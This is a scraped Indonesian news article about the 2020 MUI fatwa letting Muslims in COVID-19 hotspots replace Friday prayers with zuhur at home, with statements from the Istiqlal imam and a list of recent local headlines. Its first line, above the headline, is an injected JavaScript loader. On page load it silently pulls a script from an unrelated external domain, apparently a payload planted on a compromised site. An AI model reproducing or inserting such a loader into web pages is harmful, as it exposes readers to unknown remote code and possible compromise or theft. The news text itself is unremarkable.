(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Fatwa MUI: Warga di Daerah Rawan Corona Boleh Tidak Salat Jumat


KANALKLIMANTAN.COM, JAKARTA – Ketua Komisi Fatwa Majelis Ulama Indonesia Hasanuddin AF menjelaskan pihaknya telah menerbitkan fatwa membolehkan umat Islam yang tinggal di daerah berpotensi tinggi terjangkit virus corona atau Covid-19 untuk meninggalkan salat Jumat dan mengganti dengan salat zuhur.

MUI mengeluarkan fatwa itu mengingat peyebarang virus corona yang begitu cepat.

“Salah satu poin fatwanya adalah dalam kondisi penyebaran corona demikian rupa, masif, tidak terkendali, di satu daerah, satu kawasan, maka salat Jumat itu bukan hanya dibolehkan tidak dilaksanakan, tapi justru dilarang untuk dilaksanakan dan menggantinya dengan salat zuhur di tempat tinggal masing-masing,” kata Hasanuddin.

Selain itu, lanjut Hasanuddin, umat Muslim di daerah rawan penularan Covid-19 dibolehkan tidak salat berjamaah lima waktu di masjid atau tempat umum lainnya. Sedangkan umat Islam di wilayah berpotensi rendah terinfeksi virus Covid-19 wajib melaksanakan salat Jumat di masjid.

“Termasuk dalam fatwa itu adalah pelaksanaan salat Id, salat Tarawih. Pokoknya kerumunan jamaah, orang banyak lah. Ibadah yang dilakukan dalam jamaah banyak itu bisa ditunda sementara,” ujar Hasanuddin.

Komisi Fatwa MUI juga mengimbau umat untuk mengurangi kontak fisik, membawa sajadah sendiri, dan rajin mencuci tangan.

Seorang petugas medis mengenakan pakaian hazmat menyemprotkan disinfektan di sebuah masjid di tengah wabah virus corona, di Jakarta, 13 Maret 2020. Foto: Reuters via VOA

Marwan, salah satu pengurus Masjid-An Nur di kawasan Jakarta Timur, mengatakan masjidnya belum memutuskan apakah salat lima waktu dan salat Jumat akan tetap digelar pasca adanya fatwa dari MUI ini.

Meski demikian saat ini, semua kegiatan pengajian rutin yang ada di masjidnya, kata Marwan, sudah dihentikan sampai waktu yang belum ditentukan.

Imam Besar Masjid Istiqlal di Jakarta Nasaruddin Umar mengimbau kepada pengurus masjid di Indonesia untuk membatasi kegiatan yang bersifat masif atau melibatkan banyak orang demi keselamatan umat.

Kalau memang keadaan makin mengkhawatirkan, Masjid Istiqlal pun, kata Nazaruddin akan meniadakan salat Tarawih di Istiqlal selama Ramadan, karena Tarawih hukumnya sunnah. Sedangkan yang wajib adalah melindungi diri dari penyakit.

Nazaruddin mengatakan virus corona ini harus dijadikan musuh bersama oleh semua lapisan masyarakat apapun etnis dan agamanya. Menurutnya ia telah melakukan pertemuan dengan pimpinan umat beragama terkait virus corona tersebut.

“Mari bergandeng tangan memusuhi, mencegah penyakit bersama. Jadi kalau semua umat beragama bergandengan tangan untuk menghadapi musuh yang sama. Jangan satu-satu,” ungkap Nazaruddin.

MUI juga menyatakan hoaks dan informasi yang tidak bisa dipertangung jawabkan dan menyebabkan kepanikan, itu juga haram. Karena hoaks bersifat haram, maka membuat hoaks dan menyebarkan hoaks juga merupakan aktivitas terlarang.

Hingga kemarin, virus Covid-19 di Indonesia telah menginfeksi 134 orang, termasuk Menteri Perhubungan Budi karya Sumadi. Lima di antaranya meninggal. (fw/ft-VOA)

Reporter : Fathiyah Wardah
Editor : VOA


Desy Arfianty

Recent Posts

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

59 menit ago

Sidang Gugatan Pilwali Banjarbaru: KPU RI Ambil Alih, Pemilihan Diulang Lawan Kotak Kosong

KANALKALIMANTAN.COM, JAKARTA - Sidang gugatan sengketa hasil Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali)… Read More

13 jam ago

Angkutan Pelajar Gratis Tak Lagi Layani Sekolah di Banjarbaru, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARBARU  – Operasional Angkutan Pelajar Gratis (APG) Banjarbaru dikabarkan belum melayani para pelajar ke… Read More

14 jam ago

Tak Ada Gugatan di MK, Yamin-Ananda Sah Wali Kota dan Wakil Wali Kota Banjarmasin 2025-2030

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin menetapkan Yamin - Ananda sebagai Wali… Read More

16 jam ago

Malam Ini, Fara Ambyar Siap Berbagi Kisah di ‘Lingkar Takdir’

KANALKALIMANTAN.COM - Program 'Lingkar Takdir' merupakan salah satu acara yang memecahkan berbagai masalah kehidupan dari… Read More

16 jam ago

Sahrujani-Hero Setiawan Ditetapkan sebagai Bupati dan Wabup HSU 2025-2030

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi menetapkan H… Read More

17 jam ago

This website uses cookies.